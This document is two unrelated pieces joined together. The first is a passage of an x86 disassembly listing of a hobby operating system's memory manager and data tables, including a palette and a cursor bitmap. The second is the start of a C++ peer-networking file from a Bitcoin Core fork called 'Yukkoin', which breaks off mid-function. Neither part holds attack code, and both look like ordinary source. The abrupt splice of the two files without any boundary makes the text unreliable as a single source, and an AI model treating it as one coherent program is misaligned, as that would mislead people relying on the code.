F8, 01 ?_071: mov eax, dword [ebp+8H] ; 12CC _ 8B. 45, 08 mov eax, dword [eax] ; 12CF _ 8B. 00 cmp eax, dword [ebp-8H] ; 12D1 _ 3B. 45, F8 ja ?_068 ; 12D4 _ 77, 8F mov eax, 0 ; 12D6 _ B8, 00000000 ?_072: leave ; 12DB _ C9 ret ; 12DC _ C3 ; memman_alloc End of function memman_free:; Function begin push ebp ; 12DD _ 55 mov ebp, esp ; 12DE _ 89. E5 push ebx ; 12E0 _ 53 sub esp, 16 ; 12E1 _ 83. EC, 10 mov dword [ebp-0CH], 0 ; 12E4 _ C7. 45, F4, 00000000 jmp ?_075 ; 12EB _ EB, 17 ?_073: mov eax, dword [ebp+8H] ; 12ED _ 8B. 45, 08 mov edx, dword [ebp-0CH] ; 12F0 _ 8B. 55, F4 add edx, 2 ; 12F3 _ 83. C2, 02 mov eax, dword [eax+edx*8] ; 12F6 _ 8B. 04 D0 cmp eax, dword [ebp+0CH] ; 12F9 _ 3B. 45, 0C jbe ?_074 ; 12FC _ 76, 02 jmp ?_076 ; 12FE _ EB, 0E ?_074: add dword [ebp-0CH], 1 ; 1300 _ 83. 45, F4, 01 ?_075: mov eax, dword [ebp+8H] ; 1304 _ 8B. 45, 08 mov eax, dword [eax] ; 1307 _ 8B. 00 cmp eax, dword [ebp-0CH] ; 1309 _ 3B. 45, F4 jg ?_073 ; 130C _ 7F, DF ?_076: cmp dword [ebp-0CH], 0 ; 130E _ 83. 7D, F4, 00 jle ?_078 ; 1312 _ 0F 8E, 000000BA mov eax, dword [ebp-0CH] ; 1318 _ 8B. 45, F4 lea edx, [eax-1H] ; 131B _ 8D. 50, FF mov eax, dword [ebp+8H] ; 131E _ 8B. 45, 08 add edx, 2 ; 1321 _ 83. C2, 02 mov edx, dword [eax+edx*8] ; 1324 _ 8B. 14 D0 mov eax, dword [ebp-0CH] ; 1327 _ 8B. 45, F4 lea ecx, [eax-1H] ; 132A _ 8D. 48, FF mov eax, dword [ebp+8H] ; 132D _ 8B. 45, 08 add ecx, 2 ; 1330 _ 83. C1, 02 mov eax, dword [eax+ecx*8+4H] ; 1333 _ 8B. 44 C8, 04 add eax, edx ; 1337 _ 01. D0 cmp eax, dword [ebp+0CH] ; 1339 _ 3B. 45, 0C jne ?_078 ; 133C _ 0F 85, 00000090 mov eax, dword [ebp-0CH] ; 1342 _ 8B. 45, F4 lea ebx, [eax-1H] ; 1345 _ 8D. 58, FF mov eax, dword [ebp-0CH] ; 1348 _ 8B. 45, F4 lea edx, [eax-1H] ; 134B _ 8D. 50, FF mov eax, dword [ebp+8H] ; 134E _ 8B. 45, 08 add edx, 2 ; 1351 _ 83. C2, 02 mov edx, dword [eax+edx*8+4H] ; 1354 _ 8B. 54 D0, 04 mov eax, dword [ebp+10H] ; 1358 _ 8B. 45, 10 lea ecx, [edx+eax] ; 135B _ 8D. 0C 02 mov eax, dword [ebp+8H] ; 135E _ 8B. 45, 08 lea edx, [ebx+2H] ; 1361 _ 8D. 53, 02 mov dword [eax+edx*8+4H], ecx ; 1364 _ 89. 4C D0, 04 mov eax, dword [ebp+8H] ; 1368 _ 8B. 45, 08 mov eax, dword [eax] ; 136B _ 8B. 00 cmp eax, dword [ebp-0CH] ; 136D _ 3B. 45, F4 jle ?_077 ; 1370 _ 7E, 56 mov edx, dword [ebp+0CH] ; 1372 _ 8B. 55, 0C mov eax, dword [ebp+10H] ; 1375 _ 8B. 45, 10 lea ecx, [edx+eax] ; 1378 _ 8D. 0C 02 mov eax, dword [ebp+8H] ; 137B _ 8B. 45, 08 mov edx, dword [ebp-0CH] ; 137E _ 8B. 55, F4 add edx, 2 ; 1381 _ 83. C2, 02 mov eax, dword [eax+edx*8] ; 1384 _ 8B. 04 D0 cmp ecx, eax ; 1387 _ 39. C1 jnz ?_077 ; 1389 _ 75, 3D mov eax, dword [ebp-0CH] ; 138B _ 8B. 45, F4 lea ebx, [eax-1H] ; 138E _ 8D. 58, FF mov eax, dword [ebp-0CH] ; 1391 _ 8B. 45, F4 lea edx, [eax-1H] ; 1394 _ 8D. 50, FF mov eax, dword [ebp+8H] ; 1397 _ 8B. 45, 08 add edx, 2 ; 139A _ 83. C2, 02 mov edx, dword [eax+edx*8+4H] ; 139D _ 8B. 54 D0, 04 mov eax, dword [ebp+8H] ; 13A1 _ 8B. 45, 08 mov ecx, dword [ebp-0CH] ; 13A4 _ 8B. 4D, F4 add ecx, 2 ; 13A7 _ 83. C1, 02 mov eax, dword [eax+ecx*8+4H] ; 13AA _ 8B. 44 C8, 04 lea ecx, [edx+eax] ; 13AE _ 8D. 0C 02 mov eax, dword [ebp+8H] ; 13B1 _ 8B. 45, 08 lea edx, [ebx+2H] ; 13B4 _ 8D. 53, 02 mov dword [eax+edx*8+4H], ecx ; 13B7 _ 89. 4C D0, 04 mov eax, dword [ebp+8H] ; 13BB _ 8B. 45, 08 mov eax, dword [eax] ; 13BE _ 8B. 00 lea edx, [eax-1H] ; 13C0 _ 8D. 50, FF mov eax, dword [ebp+8H] ; 13C3 _ 8B. 45, 08 mov dword [eax], edx ; 13C6 _ 89. 10 ?_077: mov eax, 0 ; 13C8 _ B8, 00000000 jmp ?_084 ; 13CD _ E9, 0000011A ?_078: mov eax, dword [ebp+8H] ; 13D2 _ 8B. 45, 08 mov eax, dword [eax] ; 13D5 _ 8B. 00 cmp eax, dword [ebp-0CH] ; 13D7 _ 3B. 45, F4 jle ?_079 ; 13DA _ 7E, 52 mov edx, dword [ebp+0CH] ; 13DC _ 8B. 55, 0C mov eax, dword [ebp+10H] ; 13DF _ 8B. 45, 10 lea ecx, [edx+eax] ; 13E2 _ 8D. 0C 02 mov eax, dword [ebp+8H] ; 13E5 _ 8B. 45, 08 mov edx, dword [ebp-0CH] ; 13E8 _ 8B. 55, F4 add edx, 2 ; 13EB _ 83. C2, 02 mov eax, dword [eax+edx*8] ; 13EE _ 8B. 04 D0 cmp ecx, eax ; 13F1 _ 39. C1 jnz ?_079 ; 13F3 _ 75, 39 mov eax, dword [ebp+8H] ; 13F5 _ 8B. 45, 08 mov edx, dword [ebp-0CH] ; 13F8 _ 8B. 55, F4 lea ecx, [edx+2H] ; 13FB _ 8D. 4A, 02 mov edx, dword [ebp+0CH] ; 13FE _ 8B. 55, 0C mov dword [eax+ecx*8], edx ; 1401 _ 89. 14 C8 mov eax, dword [ebp+8H] ; 1404 _ 8B. 45, 08 mov edx, dword [ebp-0CH] ; 1407 _ 8B. 55, F4 add edx, 2 ; 140A _ 83. C2, 02 mov edx, dword [eax+edx*8+4H] ; 140D _ 8B. 54 D0, 04 mov eax, dword [ebp+10H] ; 1411 _ 8B. 45, 10 lea ecx, [edx+eax] ; 1414 _ 8D. 0C 02 mov eax, dword [ebp+8H] ; 1417 _ 8B. 45, 08 mov edx, dword [ebp-0CH] ; 141A _ 8B. 55, F4 add edx, 2 ; 141D _ 83. C2, 02 mov dword [eax+edx*8+4H], ecx ; 1420 _ 89. 4C D0, 04 mov eax, 0 ; 1424 _ B8, 00000000 jmp ?_084 ; 1429 _ E9, 000000BE ?_079: mov eax, dword [ebp+8H] ; 142E _ 8B. 45, 08 mov eax, dword [eax] ; 1431 _ 8B. 00 cmp eax, 5 ; 1433 _ 83. F8, 05 jg ?_083 ; 1436 _ 0F 8F, 00000087 mov eax, dword [ebp+8H] ; 143C _ 8B. 45, 08 mov eax, dword [eax] ; 143F _ 8B. 00 mov dword [ebp-8H], eax ; 1441 _ 89. 45, F8 jmp ?_081 ; 1444 _ EB, 28 ?_080: mov eax, dword [ebp-8H] ; 1446 _ 8B. 45, F8 lea edx, [eax-1H] ; 1449 _ 8D. 50, FF mov ecx, dword [ebp+8H] ; 144C _ 8B. 4D, 08 mov eax, dword [ebp-8H] ; 144F _ 8B. 45, F8 lea ebx, [eax+2H] ; 1452 _ 8D. 58, 02 mov eax, dword [ebp+8H] ; 1455 _ 8B. 45, 08 add edx, 2 ; 1458 _ 83. C2, 02 lea edx, [eax+edx*8] ; 145B _ 8D. 14 D0 mov eax, dword [edx] ; 145E _ 8B. 02 mov edx, dword [edx+4H] ; 1460 _ 8B. 52, 04 mov dword [ecx+ebx*8], eax ; 1463 _ 89. 04 D9 mov dword [ecx+ebx*8+4H], edx ; 1466 _ 89. 54 D9, 04 sub dword [ebp-8H], 1 ; 146A _ 83. 6D, F8, 01 ?_081: mov eax, dword [ebp-8H] ; 146E _ 8B. 45, F8 cmp eax, dword [ebp-0CH] ; 1471 _ 3B. 45, F4 jg ?_080 ; 1474 _ 7F, D0 mov eax, dword [ebp+8H] ; 1476 _ 8B. 45, 08 mov eax, dword [eax] ; 1479 _ 8B. 00 lea edx, [eax+1H] ; 147B _ 8D. 50, 01 mov eax, dword [ebp+8H] ; 147E _ 8B. 45, 08 mov dword [eax], edx ; 1481 _ 89. 10 mov eax, dword [ebp+8H] ; 1483 _ 8B. 45, 08 mov edx, dword [eax+4H] ; 1486 _ 8B. 50, 04 mov eax, dword [ebp+8H] ; 1489 _ 8B. 45, 08 mov eax, dword [eax] ; 148C _ 8B. 00 cmp edx, eax ; 148E _ 39. C2 jge ?_082 ; 1490 _ 7D, 0B mov eax, dword [ebp+8H] ; 1492 _ 8B. 45, 08 mov edx, dword [eax] ; 1495 _ 8B. 10 mov eax, dword [ebp+8H] ; 1497 _ 8B. 45, 08 mov dword [eax+4H], edx ; 149A _ 89. 50, 04 ?_082: mov eax, dword [ebp+8H] ; 149D _ 8B. 45, 08 mov edx, dword [ebp-0CH] ; 14A0 _ 8B. 55, F4 lea ecx, [edx+2H] ; 14A3 _ 8D. 4A, 02 mov edx, dword [ebp+0CH] ; 14A6 _ 8B. 55, 0C mov dword [eax+ecx*8], edx ; 14A9 _ 89. 14 C8 mov eax, dword [ebp+8H] ; 14AC _ 8B. 45, 08 mov edx, dword [ebp-0CH] ; 14AF _ 8B. 55, F4 lea ecx, [edx+2H] ; 14B2 _ 8D. 4A, 02 mov edx, dword [ebp+10H] ; 14B5 _ 8B. 55, 10 mov dword [eax+ecx*8+4H], edx ; 14B8 _ 89. 54 C8, 04 mov eax, 0 ; 14BC _ B8, 00000000 jmp ?_084 ; 14C1 _ EB, 29 ?_083: mov eax, dword [ebp+8H] ; 14C3 _ 8B. 45, 08 mov eax, dword [eax+0CH] ; 14C6 _ 8B. 40, 0C lea edx, [eax+1H] ; 14C9 _ 8D. 50, 01 mov eax, dword [ebp+8H] ; 14CC _ 8B. 45, 08 mov dword [eax+0CH], edx ; 14CF _ 89. 50, 0C mov eax, dword [ebp+8H] ; 14D2 _ 8B. 45, 08 mov eax, dword [eax+8H] ; 14D5 _ 8B. 40, 08 mov edx, eax ; 14D8 _ 89. C2 mov eax, dword [ebp+10H] ; 14DA _ 8B. 45, 10 add eax, edx ; 14DD _ 01. D0 mov edx, eax ; 14DF _ 89. C2 mov eax, dword [ebp+8H] ; 14E1 _ 8B. 45, 08 mov dword [eax+8H], edx ; 14E4 _ 89. 50, 08 mov eax, 4294967295 ; 14E7 _ B8, FFFFFFFF ?_084: add esp, 16 ; 14EC _ 83. C4, 10 pop ebx ; 14EF _ 5B pop ebp ; 14F0 _ 5D ret ; 14F1 _ C3 ; memman_free End of function ?_085: ; byte db 74H, 6FH, 74H, 61H, 6CH, 20H, 6DH, 65H ; 0000 _ total me db 6DH, 6FH, 72H, 79H, 20H, 69H, 73H, 3AH ; 0008 _ mory is: db 20H, 00H ; 0010 _ . ?_086: ; byte db 4DH, 42H, 00H ; 0012 _ MB. ?_087: ; byte db 70H, 61H, 67H, 65H, 20H, 69H, 73H, 3AH ; 0015 _ page is: db 20H, 00H ; 001D _ . ?_088: ; byte db 42H, 61H, 73H, 65H, 41H, 64H, 64H, 72H ; 001F _ BaseAddr db 4CH, 3AH, 20H, 00H ; 0027 _ L: . ?_089: ; byte db 42H, 61H, 73H, 65H, 41H, 64H, 64H, 72H ; 002B _ BaseAddr db 48H, 3AH, 20H, 00H ; 0033 _ H: . ?_090: ; byte db 6CH, 65H, 6EH, 67H, 74H, 68H, 4CH, 6FH ; 0037 _ lengthLo db 77H, 3AH, 20H, 00H ; 003F _ w: . ?_091: ; byte db 6CH, 65H, 6EH, 67H, 74H, 68H, 48H, 69H ; 0043 _ lengthHi db 67H, 68H, 3AH, 20H, 00H ; 004B _ gh: . ?_092: ; byte db 74H, 79H, 70H, 65H, 3AH, 20H, 00H ; 0050 _ type: . memman: ; dword dd 00100000H ; 0000 _ 1048576 keyval: ; byte db 30H, 58H ; 0004 _ 0X ?_093: db 00H ; 0006 _ . ?_094: db 00H, 00H, 00H, 00H, 00H, 00H, 00H, 00H ; 0007 _ ........ db 00H, 00H, 00H, 00H, 00H, 00H, 00H, 00H ; 000F _ ........ db 00H, 00H, 00H, 00H, 00H, 00H, 00H, 00H ; 0017 _ ........ db 00H ; 001F _ . table_rgb.1583: ; byte db 00H, 00H, 00H, 0FFH, 00H, 00H, 00H, 0FFH ; 0020 _ ........ db 00H, 0FFH, 0FFH, 00H, 00H, 00H, 0FFH, 0FFH ; 0028 _ ........ db 00H, 0FFH, 00H, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH ; 0030 _ ........ db 0C6H, 0C6H, 0C6H, 84H, 00H, 00H, 00H, 84H ; 0038 _ ........ db 00H, 84H, 84H, 00H, 00H, 00H, 84H, 84H ; 0040 _ ........ db 00H, 84H, 00H, 84H, 84H, 84H, 84H, 84H ; 0048 _ ........ db 00H, 00H, 00H, 00H, 00H, 00H, 00H, 00H ; 0050 _ ........ db 00H, 00H, 00H, 00H, 00H, 00H, 00H, 00H ; 0058 _ ........ db 00H, 00H, 00H, 00H, 00H, 00H, 00H, 00H ; 0060 _ ........ db 00H, 00H, 00H, 00H, 00H, 00H, 00H, 00H ; 0068 _ ........ db 00H, 00H, 00H, 00H, 00H, 00H, 00H, 00H ; 0070 _ ........ db 00H, 00H, 00H, 00H, 00H, 00H, 00H, 00H ; 0078 _ ........ cursor.1630: ; byte db 2AH, 2AH, 2AH, 2AH, 2AH, 2AH, 2AH, 2AH ; 0080 _ ******** db 2AH, 2AH, 2AH, 2AH, 2AH, 2AH, 2EH, 2EH ; 0088 _ ******.. db 2AH, 4FH, 4FH, 4FH, 4FH, 4FH, 4FH, 4FH ; 0090 _ *OOOOOOO db 4FH, 4FH, 4FH, 4FH, 2AH, 2EH, 2EH, 2EH ; 0098 _ OOOO*... db 2AH, 4FH, 4FH, 4FH, 4FH, 4FH, 4FH, 4FH ; 00A0 _ *OOOOOOO db 4FH, 4FH, 4FH, 2AH, 2EH, 2EH, 2EH, 2EH ; 00A8 _ OOO*.... db 2AH, 4FH, 4FH, 4FH, 4FH, 4FH, 4FH, 4FH ; 00B0 _ *OOOOOOO db 4FH, 4FH, 2AH, 2EH, 2EH, 2EH, 2EH, 2EH ; 00B8 _ OO*..... db 2AH, 4FH, 4FH, 4FH, 4FH, 4FH, 4FH, 4FH ; 00C0 _ *OOOOOOO db 4FH, 2AH, 2EH, 2EH, 2EH, 2EH, 2EH, 2EH ; 00C8 _ O*...... db 2AH, 4FH, 4FH, 4FH, 4FH, 4FH, 4FH, 4FH ; 00D0 _ *OOOOOOO db 2AH, 2EH, 2EH, 2EH, 2EH, 2EH, 2EH, 2EH ; 00D8 _ *....... db 2AH, 4FH, 4FH, 4FH, 4FH, 4FH, 4FH, 4FH ; 00E0 _ *OOOOOOO db 2AH, 2EH, 2EH, 2EH, 2EH, 2EH, 2EH, 2EH ; 00E8 _ *....... db 2AH, 4FH, 4FH, 4FH, 4FH, 4FH, 4FH, 4FH ; 00F0 _ *OOOOOOO db 4FH, 2AH, 2EH, 2EH, 2EH, 2EH, 2EH, 2EH ; 00F8 _ O*...... db 2AH, 4FH, 4FH, 4FH, 4FH, 2AH, 2AH, 4FH ; 0100 _ *OOOO**O db 4FH, 4FH, 2AH, 2EH, 2EH, 2EH, 2EH, 2EH ; 0108 _ OO*..... db 2AH, 4FH, 4FH, 4FH, 2AH, 2EH, 2EH, 2AH ; 0110 _ *OOO*..* db 4FH, 4FH, 4FH, 2AH, 2EH, 2EH, 2EH, 2EH ; 0118 _ OOO*.... db 2AH, 4FH, 4FH, 2AH, 2EH, 2EH, 2EH, 2EH ; 0120 _ *OO*.... db 2AH, 4FH, 4FH, 4FH, 2AH, 2EH, 2EH, 2EH ; 0128 _ *OOO*... db 2AH, 4FH, 2AH, 2EH, 2EH, 2EH, 2EH, 2EH ; 0130 _ *O*..... db 2EH, 2AH, 4FH, 4FH, 4FH, 2AH, 2EH, 2EH ; 0138 _ .*OOO*.. db 2AH, 2AH, 2EH, 2EH, 2EH, 2EH, 2EH, 2EH ; 0140 _ **...... db 2EH, 2EH, 2AH, 4FH, 4FH, 4FH, 2AH, 2EH ; 0148 _ ..*OOO*. db 2AH, 2EH, 2EH, 2EH, 2EH, 2EH, 2EH, 2EH ; 0150 _ *....... db 2EH, 2EH, 2EH, 2AH, 4FH, 4FH, 4FH, 2AH ; 0158 _ ...*OOO* db 2EH, 2EH, 2EH, 2EH, 2EH, 2EH, 2EH, 2EH ; 0160 _ ........ db 2EH, 2EH, 2EH, 2EH, 2AH, 4FH, 4FH, 2AH ; 0168 _ ....*OO* db 2EH, 2EH, 2EH, 2EH, 2EH, 2EH, 2EH, 2EH ; 0170 _ ........ db 2EH, 2EH, 2EH, 2EH, 2EH, 2AH, 2AH, 2AH ; 0178 _ .....*** mcursor: ; byte resb 256 ; 0000 bootInfo: ; qword resb 4 ; 0100 ?_095: resw 1 ; 0104 ?_096: resw 1 ; 0106 keyinfo: ; byte resb 24 ; 0108 mouseinfo: ; byte resb 32 ; 0120 keybuf: ; yword resb 64 ; 0140 mousebuf: ; byte resb 128 ; 0180 mdec: ; oword resb 16 ; 0200 mx: resd 1 ; 0210 my: resd 1 ; 0214 xsize: resd 1 ; 0218 ysize: resd 1 ; 021C str.1678: ; byte resb 1 ; 0220 ?_097: resb 9 ; 0221 ?_098: resb 1 ; 022A
// Copyright (c) 2009-2010 Satoshi Nakamoto // Copyright (c) 2009-2017 The Bitcoin Core developers // Distributed under the MIT software license, see the accompanying // file COPYING or http://www.opensource.org/licenses/mit-license.php. #include <net_processing.h> #include <addrman.h> #include <arith_uint256.h> #include <blockencodings.h> #include <chainparams.h> #include <consensus/validation.h> #include <hash.h> #include <init.h> #include <validation.h> #include <merkleblock.h> #include <netmessagemaker.h> #include <netbase.h> #include <policy/fees.h> #include <policy/policy.h> #include <primitives/block.h> #include <primitives/transaction.h> #include <random.h> #include <reverse_iterator.h> #include <scheduler.h> #include <tinyformat.h> #include <txmempool.h> #include <ui_interface.h> #include <util.h> #include <utilmoneystr.h> #include <utilstrencodings.h> #if defined(NDEBUG) # error "Yukkoin cannot be compiled without assertions." #endif std::atomic<int64_t> nTimeBestReceived(0); // Used only to inform the wallet of when we last received a block struct IteratorComparator { template<typename I> bool operator()(const I& a, const I& b) const { return &(*a) < &(*b); } }; struct COrphanTx { // When modifying, adapt the copy of this definition in tests/DoS_tests. CTransactionRef tx; NodeId fromPeer; int64_t nTimeExpire; }; static CCriticalSection g_cs_orphans; std::map<uint256, COrphanTx> mapOrphanTransactions GUARDED_BY(g_cs_orphans); std::map<COutPoint, std::set<std::map<uint256, COrphanTx>::iterator, IteratorComparator>> mapOrphanTransactionsByPrev GUARDED_BY(g_cs_orphans); void EraseOrphansFor(NodeId peer); static size_t vExtraTxnForCompactIt GUARDED_BY(g_cs_orphans) = 0; static std::vector<std::pair<uint256, CTransactionRef>> vExtraTxnForCompact GUARDED_BY(g_cs_orphans); static const uint64_t RANDOMIZER_ID_ADDRESS_RELAY = 0x3cac0035b5866b90ULL; // SHA256("main address relay")[0:8] /// Age after which a stale block will no longer be served if requested as /// protection against fingerprinting. Set to one month, denominated in seconds. static const int STALE_RELAY_AGE_LIMIT = 30 * 24 * 60 * 60; /// Age after which a block is considered historical for purposes of rate /// limiting block relay. Set to one week, denominated in seconds. static const int HISTORICAL_BLOCK_AGE = 7 * 24 * 60 * 60; // Internal stuff namespace { /** Number of nodes with fSyncStarted. */ int nSyncStarted = 0; /** * Sources of received blocks, saved to be able to send them reject * messages or ban them when processing happens afterwards. Protected by * cs_main. * Set mapBlockSource[hash].second to false if the node should not be * punished if the block is invalid. */ std::map<uint256, std::pair<NodeId, bool>> mapBlockSource; /** * Filter for transactions that were recently rejected by * AcceptToMemoryPool. These are not rerequested until the chain tip * changes, at which point the entire filter is reset. Protected by * cs_main. * * Without this filter we'd be re-requesting txs from each of our peers, * increasing bandwidth consumption considerably. For instance, with 100 * peers, half of which relay a tx we don't accept, that might be a 50x * bandwidth increase. A flooding attacker attempting to roll-over the * filter using minimum-sized, 60byte, transactions might manage to send * 1000/sec if we have fast peers, so we pick 120,000 to give our peers a * two minute window to send invs to us. * * Decreasing the false positive rate is fairly cheap, so we pick one in a * million to make it highly unlikely for users to have issues with this * filter. * * Memory used: 1.3 MB */ std::unique_ptr<CRollingBloomFilter> recentRejects; uint256 hashRecentRejectsChainTip; /** Blocks that are in flight, and that are in the queue to be downloaded. Protected by cs_main. */ struct QueuedBlock { uint256 hash; const CBlockIndex* pindex; //!< Optional. bool fValidatedHeaders; //!< Whether this block has validated headers at the time of request. std::unique_ptr<PartiallyDownloadedBlock> partialBlock; //!< Optional, used for CMPCTBLOCK downloads }; std::map<uint256, std::pair<NodeId, std::list<QueuedBlock>::iterator> > mapBlocksInFlight; /** Stack of nodes which we have set to announce using compact blocks */ std::list<NodeId> lNodesAnnouncingHeaderAndIDs; /** Number of preferable block download peers. */ int nPreferredDownload = 0; /** Number of peers from which we're downloading blocks. */ int nPeersWithValidatedDownloads = 0; /** Number of outbound peers with m_chain_sync.m_protect. */ int g_outbound_peers_with_protect_from_disconnect = 0; /** When our tip was last updated. */ std::atomic<int64_t> g_last_tip_update(0); /** Relay map, protected by cs_main. */ typedef std::map<uint256, CTransactionRef> MapRelay; MapRelay mapRelay; /** Expiration-time ordered list of (expire time, relay map entry) pairs, protected by cs_main). */ std::deque<std::pair<int64_t, MapRelay::iterator>> vRelayExpiration; } // namespace namespace { struct CBlockReject { unsigned char chRejectCode; std::string strRejectReason; uint256 hashBlock; }; /** * Maintain validation-specific state about nodes, protected by cs_main, instead * by CNode's own locks. This simplifies asynchronous operation, where * processing of incoming data is done after the ProcessMessage call returns, * and we're no longer holding the node's locks. */ struct CNodeState { //! The peer's address const CService address; //! Whether we have a fully established connection. bool fCurrentlyConnected; //! Accumulated misbehaviour score for this peer. int nMisbehavior; //! Whether this peer should be disconnected and banned (unless whitelisted). bool fShouldBan; //! String name of this peer (debugging/logging purposes). const std::string name; //! List of asynchronously-determined block rejections to notify this peer about. std::vector<CBlockReject> rejects; //! The best known block we know this peer has announced. const CBlockIndex *pindexBestKnownBlock; //! The hash of the last unknown block this peer has announced. uint256 hashLastUnknownBlock; //! The last full block we both have. const CBlockIndex *pindexLastCommonBlock; //! The best header we have sent our peer. const CBlockIndex *pindexBestHeaderSent; //! Length of current-streak of unconnecting headers announcements int nUnconnectingHeaders; //! Whether we've started headers synchronization with this peer. bool fSyncStarted; //! When to potentially disconnect peer for stalling headers download int64_t nHeadersSyncTimeout; //! Since when we're stalling block download progress (in microseconds), or 0. int64_t nStallingSince; std::list<QueuedBlock> vBlocksInFlight; //! When the first entry in vBlocksInFlight started downloading. Don't care when vBlocksInFlight is empty. int64_t nDownloadingSince; int nBlocksInFlight; int nBlocksInFlightValidHeaders; //! Whether we consider this a preferred download peer. bool fPreferredDownload; //! Whether this peer wants invs or headers (when possible) for block announcements. bool fPreferHeaders; //! Whether this peer wants invs or cmpctblocks (when possible) for block announcements. bool fPreferHeaderAndIDs; /** * Whether this peer will send us cmpctblocks if we request them. * This is not used to gate request logic, as we really only care about fSupportsDesiredCmpctVersion, * but is used as a flag to "lock in" the version of compact blocks (fWantsCmpctWitness) we send. */ bool fProvidesHeaderAndIDs; //! Whether this peer can give us witnesses bool fHaveWitness; //! Whether this peer wants witnesses in cmpctblocks/blocktxns bool fWantsCmpctWitness; /** * If we've announced NODE_WITNESS to this peer: whether the peer sends witnesses in cmpctblocks/blocktxns, * otherwise: whether this peer sends non-witnesses in cmpctblocks/blocktxns. */ bool fSupportsDesiredCmpctVersion; /** State used to enforce CHAIN_SYNC_TIMEOUT * Only in effect for outbound, non-manual connections, with * m_protect == false * Algorithm: if a peer's best known block has less work than our tip, * set a timeout CHAIN_SYNC_TIMEOUT seconds in the future: * - If at timeout their best known block now has more work than our tip * when the timeout was set, then either reset the timeout or clear it * (after comparing against our current tip's work) * - If at timeout their best known block still has less work than our * tip did when the timeout was set, then send a getheaders message, * and set a shorter timeout, HEADERS_RESPONSE_TIME seconds in future. * If their best known block is still behind when that new timeout is * reached, disconnect. */ struct ChainSyncTimeoutState { //! A timeout used for checking whether our peer has sufficiently synced int64_t m_timeout; //! A header with the work we require on our peer's chain const CBlockIndex * m_work_header; //! After timeout is reached, set to true after sending getheaders bool m_sent_getheaders; //! Whether this peer is protected from disconnection due to a bad/slow chain bool m_protect; }; ChainSyncTimeoutState m_chain_sync; //! Time of last new block announcement int64_t m_last_block_announcement; CNodeState(CAddress addrIn, std::string addrNameIn) : address(addrIn), name(addrNameIn) { fCurrentlyConnected = false; nMisbehavior = 0; fShouldBan = false; pindexBestKnownBlock = nullptr; hashLastUnknownBlock.SetNull(); pindexLastCommonBlock = nullptr; pindexBestHeaderSent = nullptr; nUnconnectingHeaders = 0; fSyncStarted = false; nHeadersSyncTimeout = 0; nStallingSince = 0; nDownloadingSince = 0; nBlocksInFlight = 0; nBlocksInFlightValidHeaders = 0; fPreferredDownload = false; fPreferHeaders = false; fPreferHeaderAndIDs = false; fProvidesHeaderAndIDs = false; fHaveWitness = false; fWantsCmpctWitness = false; fSupportsDesiredCmpctVersion = false; m_chain_sync = { 0, nullptr, false, false }; m_last_block_announcement = 0; } }; /** Map maintaining per-node state. Requires cs_main. */ std::map<NodeId, CNodeState> mapNodeState; // Requires cs_main. CNodeState *State(NodeId pnode) { std::map<NodeId, CNodeState>::iterator it = mapNodeState.find(pnode); if (it == mapNodeState.end()) return nullptr; return &it->second; } void UpdatePreferredDownload(CNode* node, CNodeState* state) { nPreferredDownload -= state->fPreferredDownload; // Whether this node should be marked as a preferred download node. state->fPreferredDownload = (!node->fInbound || node->fWhitelisted) && !node->fOneShot && !node->fClient; nPreferredDownload += state->fPreferredDownload; } void PushNodeVersion(CNode *pnode, CConnman* connman, int64_t nTime) { ServiceFlags nLocalNodeServices = pnode->GetLocalServices(); uint64_t nonce = pnode->GetLocalNonce(); int nNodeStartingHeight = pnode->GetMyStartingHeight(); NodeId nodeid = pnode->GetId(); CAddress addr = pnode->addr; CAddress addrYou = (addr.IsRoutable() && !IsProxy(addr) ? addr : CAddress(CService(), addr.nServices)); CAddress addrMe = CAddress(CService(), nLocalNodeServices); connman->PushMessage(pnode, CNetMsgMaker(INIT_PROTO_VERSION).Make(NetMsgType::VERSION, PROTOCOL_VERSION, (uint64_t)nLocalNodeServices, nTime, addrYou, addrMe, nonce, strSubVersion, nNodeStartingHeight, ::fRelayTxes)); if (fLogIPs) { LogPrint(BCLog::NET, "send version message: version %d, blocks=%d, us=%s, them=%s, peer=%d\n", PROTOCOL_VERSION, nNodeStartingHeight, addrMe.ToString(), addrYou.ToString(), nodeid); } else { LogPrint(BCLog::NET, "send version message: version %d, blocks=%d, us=%s, peer=%d\n", PROTOCOL_VERSION, nNodeStartingHeight, addrMe.ToString(), nodeid); } } // Requires cs_main. // Returns a bool indicating whether we requested this block. // Also used if a block was /not/ received and timed out or started with another peer bool MarkBlockAsReceived(const uint256& hash) { std::map<uint256, std::pair<NodeId, std::list<QueuedBlock>::iterator> >::iterator itInFlight = mapBlocksInFlight.find(hash); if (itInFlight != mapBlocksInFlight.end()) { CNodeState *state = State(itInFlight->second.first); assert(state != nullptr); state->nBlocksInFlightValidHeaders -= itInFlight->second.second->fValidatedHeaders; if (state->nBlocksInFlightValidHeaders == 0 && itInFlight->second.second->fValidatedHeaders) { // Last validated block on the queue was received. nPeersWithValidatedDownloads--; } if (state->vBlocksInFlight.begin() == itInFlight->second.second) { // First block on the queue was received, update the start download time for the next one state->nDownloadingSince = std::max(state->nDownloadingSince, GetTimeMicros()); } state->vBlocksInFlight.erase(itInFlight->second.second); state->nBlocksInFlight--; state->nStallingSince = 0; mapBlocksInFlight.erase(itInFlight); return true; } return false; } // Requires cs_main. // returns false, still setting pit, if the block was already in flight from the same peer // pit will only be valid as long as the same cs_main lock is being held bool MarkBlockAsInFlight(NodeId nodeid, const uint256& hash, const CBlockIndex* pindex = nullptr, std::list<QueuedBlock>::iterator** pit = nullptr) { CNodeState *state = State(nodeid); assert(state != nullptr); // Short-circuit most stuff in case its from the same node std::map<uint256, std::pair<NodeId, std::list<QueuedBlock>::iterator> >::iterator itInFlight = mapBlocksInFlight.find(hash); if (itInFlight != mapBlocksInFlight.end() && itInFlight->second.first == nodeid) { if (pit) { *pit = &itInFlight->second.second; } return false; } // Make sure it's not listed somewhere already. MarkBlockAsReceived(hash); std::list<QueuedBlock>::iterator it = state->vBlocksInFlight.insert(state->vBlocksInFlight.end(), {hash, pindex, pindex != nullptr, std::unique_ptr<PartiallyDownloadedBlock>(pit ? new PartiallyDownloadedBlock(&mempool) : nullptr)}); state->nBlocksInFlight++; state->nBlocksInFlightValidHeaders += it->fValidatedHeaders; if (state->nBlocksInFlight == 1) { // We're starting a block download (batch) from this peer. state->nDownloadingSince = GetTimeMicros(); } if (state->nBlocksInFlightValidHeaders == 1 && pindex != nullptr) { nPeersWithValidatedDownloads++; } itInFlight = mapBlocksInFlight.insert(std::make_pair(hash, std::make_pair(nodeid, it))).first; if (pit) *pit = &itInFlight->second.second; 